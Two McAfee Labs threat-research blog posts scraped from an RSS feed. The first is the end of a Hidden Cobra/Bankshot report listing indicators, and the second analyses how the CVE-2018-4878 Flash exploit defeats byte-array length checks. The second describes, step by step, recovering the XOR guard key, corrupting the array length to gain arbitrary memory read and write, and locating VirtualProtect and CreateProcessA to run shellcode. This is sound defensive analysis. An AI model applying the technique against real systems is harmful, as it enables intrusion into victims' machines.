The campaign has a high chance of success against victims who have an unpatched version of Flash. Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal. This is the first time that Bankshot has been tied directly to financial-related hacking and the first time it has been used since November 2017.

McAfee detects these threats as:

  • RDN/Generic Exploit
  • RDN/Generic.dx
  • Generic PWS.y
  • Generic.hbg
  • Exploit-CVE2018-4878

McAfee customers are also covered by McAfee Global Threat Intelligence Web Reputation classification, which rate these URLs as High Risk.

 

Indicators of Compromise

MITRE ATT&CK techniques

  • Exfiltration over command and control channel
  • Commonly used port
  • Command-line interface
  • Service execution
  • Automated collection
  • Data from local system
  • Process discovery
  • System time discovery
  • Credential dumping
  • Exploitation of vulnerability
  • Process injection
  • File deletion

Hashes

  • 650b7d25f4ed87490f8467eb48e0443fb244a8c4
  • 65e7d2338735ec04fd9692d020298e5a7953fd8d
  • 166e8c643a4db0df6ffd6e3ab536b3de9edc9fb7
  • a2e966edee45b30bb6bb5c978e55833eec169098

Domains

  • 530hr[dot]com/data/common.php
  • 028xmz[dot]com/include/common.php
  • 168wangpi[dot]com/include/charset.php
  • Falcancoin[dot]io

 

The post Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/feed/ 0
How Hackers Bypassed an Adobe Flash Protection Mechanism https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/hackers-bypassed-adobe-flash-protection-mechanism/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/hackers-bypassed-adobe-flash-protection-mechanism/#respond Fri, 02 Mar 2018 19:17:47 +0000 https://securingtomorrow.mcafee.com/?p=84839 The number of Flash Player exploits has recently declined, due to Adobe’s introduction of various measures to strengthen Flash’s security. Occasionally, however, an exploit still arises. On January 31, Kr-Cert reported a zero-day vulnerability, identified as CVE-2018-4878, being exploited in the field. (Adobe has released an update to fix this flaw.) We analyzed this vulnerability […]

The post How Hackers Bypassed an Adobe Flash Protection Mechanism appeared first on McAfee Blogs.

]]>
The number of Flash Player exploits has recently declined, due to Adobe’s introduction of various measures to strengthen Flash’s security. Occasionally, however, an exploit still arises. On January 31, Kr-Cert reported a zero-day vulnerability, identified as CVE-2018-4878, being exploited in the field. (Adobe has released an update to fix this flaw.) We analyzed this vulnerability and found that it bypassed the byte array mitigation feature that was introduced to prevent “length corruption” attacks in Flash. This post will focus on how the exploit bypasses the length checks.

 

How the Exploit Works

This exploit has been used in targeted attacks and arrives as a Microsoft Office Excel file with an embedded Flash file. On opening the Excel file, the Flash file contacts a server and requests a key. Once the key is received, the file decodes another embedded Flash file, which is the actual exploit.

The key is 100 bytes. It decodes and loads the embedded file using the loader.loadbyte function:

Because the URL for the key was offline, we could not retrieve it. But the sample hash was available online on various sites. We analyzed the sample (SHA-256) 1a3269253784f76e3480e4b3de312dfee878f99045ccfd2231acb5ba57d8ed0d.

This Adobe .SWF file contained multiple ActionScript 3 files as well as two embedded files in the BinaryData section, constituting the shellcode (marked in red in the following screen):

The Exploit in Action

When launched, the exploit checks if the system is running Windows. If so, it triggers the vulnerability.

As we see in the preceding image, the exploit takes several steps:

  • It creates a mediaplayer object
  • It initializes the drmManager property of mediaplayer to a specially crafted class based on the DRMOperationCompleteListener object nugamej.
  • The object nugamej is “freed,” but the drmManager points to the same memory location that nugamej used previously

If we take a close look at nugamej, we can see that it was created from the class Rykim, which implements the DRMOperationCompleteListener class. The Rykim class has various “uint” variables with values set as 0x1111, 0x2222, etc.:

These variables will be used later to access various addresses in the process space and other operations.

The exploit then causes an exception by using Localconnection().connect, creates the new variable “katyt” of the Rykim class, and implements the DRMOperationCompleteListener class. A time check calls the function “cysit”:

Cysit checks whether the newly allocated object’s a1 variable is 0x1111. If the value is not equal to 0x1111, then cysit stops the timer and proceeds with the exploitation.

The exploit creates another object, “kebenid” of the type “Qep,” which extends the byte array class. The length of kebenid is set to 512 bytes. This will be modified later to make a read-write primitive to gain unrestricted access to process memory.

Byte Array Checks to Avoid Corruption

We can see the structure of the byte array from https://github.com/adobe/avmplus/blob/master/core/ByteArrayGlue.h.

We can see that the byte array class has array, capacity, and length. In the past we have seen attackers corrupting the length variable to arbitrarily read and write to a memory location. Thus there is an extra check to ensure the integrity of the byte array. The check creates a secret value that is XORed with array/capacity/length and saved in the variables check_array/check_capacity/check_length.

When these variables are accessed, they are XORed with the secret key and their value is compared to the values stored in check_array/check_capacity/check_length. If they match, then we have genuine data; otherwise it will throw an error as in the following image:

Bypassing the Checks

From the preceding code, we can retrieve the key by simply using any of the following calculations:

If the value of copyOnWrite is 0, then the key will be check_copyOnWrite.

If we look carefully, we see both the katyt and kebenid object variables point to same memory locations. This can be confirmed If we print and compare the variables of the two objects.

Comparing the following variables with the byte array structure, as previously mentioned, we get the following:

So if we change katyt.a24 and katyt.a25, that will actually change the byte array capacity and byte array length. Then we just need to find the XOR key and we can set it to any length we want.

Thus in this exploit the key is found using the logic Array ^ check_array = key.

Once the key is available, we can easily modify the byte array capacity and length to 0xFFFFFFFF and check_length, thus bypassing the byte array security mitigations, and we can read or write anywhere in the process space:

Code Execution

The exploit uses the preceding read-write primitive, gained through the byte array object, to read memory and search for kernel32.dll and functions such as VirtualProtect, and CreateProcessA. Once the addresses of these functions are located, shellcode can be executed on the system. This technique is very well documented online. The following screen shot shows the code responsible for searching kernel32.dll, later locating the VirtualProtect API address as 0x75ff2c15:

The exploit later executes the shellcode and connects to a URL:

It also launches cmd.exe using CreateProcessA:

The shellcode also checks for some antimalware products:

Conclusion

Attackers constantly search for ways to bypass new protection mechanisms. This exploit shows one such way. As always, we advise readers to be careful when opening unknown attachments and documents received in email.

McAfee Network Security Platform customers are protected from this vulnerability through signature ID: 0x45223900.

 

Hash

SHA-256: 1a3269253784f76e3480e4b3de312dfee878f99045ccfd2231acb5ba57d8ed0d

URLs

  • hxxp://www.korea-tax.info/main/local.php
  • hxxp://www.1588-2040.co.kr/conf/product_old.jpg
  • hxxp://1588-2040.co.kr/conf/product.jpg

 

The post How Hackers Bypassed an Adobe Flash Protection Mechanism appeared first on